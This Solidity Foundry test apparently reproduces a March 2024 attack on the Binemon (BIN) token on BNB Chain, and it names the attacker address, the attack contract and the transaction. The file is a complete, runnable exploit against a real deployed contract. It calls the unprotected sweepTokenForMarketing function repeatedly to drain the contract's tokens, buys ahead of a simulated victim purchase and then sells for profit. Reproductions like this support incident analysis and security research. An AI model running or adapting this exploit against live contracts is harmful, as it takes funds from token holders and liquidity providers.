src/test/2024-03/Binemon_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~0.2 $BNB
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0x132e1ea5db918dae00eef685b845c409a83dfa82
7// Vulnerable Contract : https://bscscan.com/address/0xe56842ed550ff2794f010738554db45e60730371
8// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1999bb5c11a8d8bfa7620fc5cc37f5bc59c1a99d7a9250a8d6076c93bbdbeb5f
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13interface IBIN_WBNB {}
14 
15interface IBIN is IERC20 {
16    function sweepTokenForMarketing() external;
17}
18 
19contract ContractTest is Test {
20    IBIN BIN = IBIN(address(0xe56842Ed550Ff2794F010738554db45E60730371));
21    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
22    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
23 
24    address otherUser = 0xAb7BF20f8Ebbb286644b2C57ea448F27ef0598d4;
25 
26    function setUp() public {
27        vm.createSelectFork("bsc", 36_864_395 - 1);
28        vm.label(address(Router), "Router");
29        vm.label(address(BIN), "BIN");
30        vm.label(address(WBNB), "WBNB");
31    }
32 
33    function testExploit() public {
34        WBNB.approve(address(Router), type(uint256).max);
35        BIN.approve(address(Router), type(uint256).max);
36        deal(address(WBNB), address(this), 1 ether);
37        deal(address(WBNB), address(otherUser), 10 ether);
38        emit log_named_decimal_uint("Attacker WBNB balance before attack:", WBNB.balanceOf(address(this)), 18);
39        while (BIN.balanceOf(address(BIN)) > 1_000_000_000_000_000_000_000_000) {
40            BIN.sweepTokenForMarketing();
41        }
42        WBNBTOTOKEN();
43 
44        // Wait for other users to buy in
45        vm.startPrank(address(otherUser));
46        WBNB.approve(address(Router), type(uint256).max);
47        address[] memory path = new address[](2);
48        path[0] = address(WBNB);
49        path[1] = address(BIN);
50        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
51            WBNB.balanceOf(address(otherUser)), 0, path, address(otherUser), block.timestamp
52        );
53        vm.stopPrank();
54 
55        TOKENTOWBNB();
56        emit log_named_decimal_uint("Attacker WBNB balance before attack:", WBNB.balanceOf(address(this)), 18);
57    }
58 
59    function TOKENTOWBNB() internal {
60        address[] memory path = new address[](2);
61        path[0] = address(BIN);
62        path[1] = address(WBNB);
63        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
64            BIN.balanceOf(address(this)), 0, path, address(this), block.timestamp
65        );
66    }
67 
68    function WBNBTOTOKEN() internal {
69        address[] memory path = new address[](2);
70        path[0] = address(WBNB);
71        path[1] = address(BIN);
72        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
73            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
74        );
75    }
76 
77    fallback() external payable {}
78    receive() external payable {}
79}